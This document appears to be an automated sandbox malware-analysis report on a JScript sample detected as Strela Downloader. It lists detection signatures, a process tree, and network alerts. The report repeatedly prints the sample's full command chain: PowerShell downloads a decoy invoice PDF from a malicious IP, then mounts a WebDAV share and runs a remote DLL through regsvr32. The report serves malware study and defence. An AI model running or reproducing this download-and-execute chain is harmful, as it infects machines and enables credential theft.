Edit tour

Windows Analysis Report
5476263142183119959.js

Overview

General Information

Sample name:	5476263142183119959.js
Analysis ID:	1589012
MD5:	98dea0551f0ac38b0d531695433877d3
SHA1:	e73c7a874648184661f067268bd3cb4d70e4665a
SHA256:	c164ee00b4d85159d0a195a0990db47e09db20bfaa08b82e1eb6ad619da0f681
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6656 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5476263142183119959.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6828 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6840 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6976 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5804 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6800 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7176 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1600,i,6624420939550628142,2575056952724772657,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5688 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 4020 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7048 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6656	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6828, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6976, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6828, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6976, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5476263142183119959.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5476263142183119959.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5476263142183119959.js", ProcessId: 6656, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 4020, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5476263142183119959.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6656, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll, ProcessId: 6828, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5476263142183119959.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6656, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll, ProcessId: 6828, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5476263142183119959.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6656, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll, ProcessId: 6828, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5476263142183119959.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6656, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll, ProcessId: 6828, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5476263142183119959.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6656, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll, ProcessId: 6828, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5476263142183119959.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5476263142183119959.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5476263142183119959.js", ProcessId: 6656, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6828, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6976, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5688, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4020, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7048, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5688, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4020, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5476263142183119959.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6656, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll, ProcessId: 6828, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:23:59.266647+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:24:01.928462+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:23:59.266647+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 5476263142183119959.js

Virustotal: Detection: 8%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 5476263142183119959.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 5476263142183119959.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.4:49730 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:23:59 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

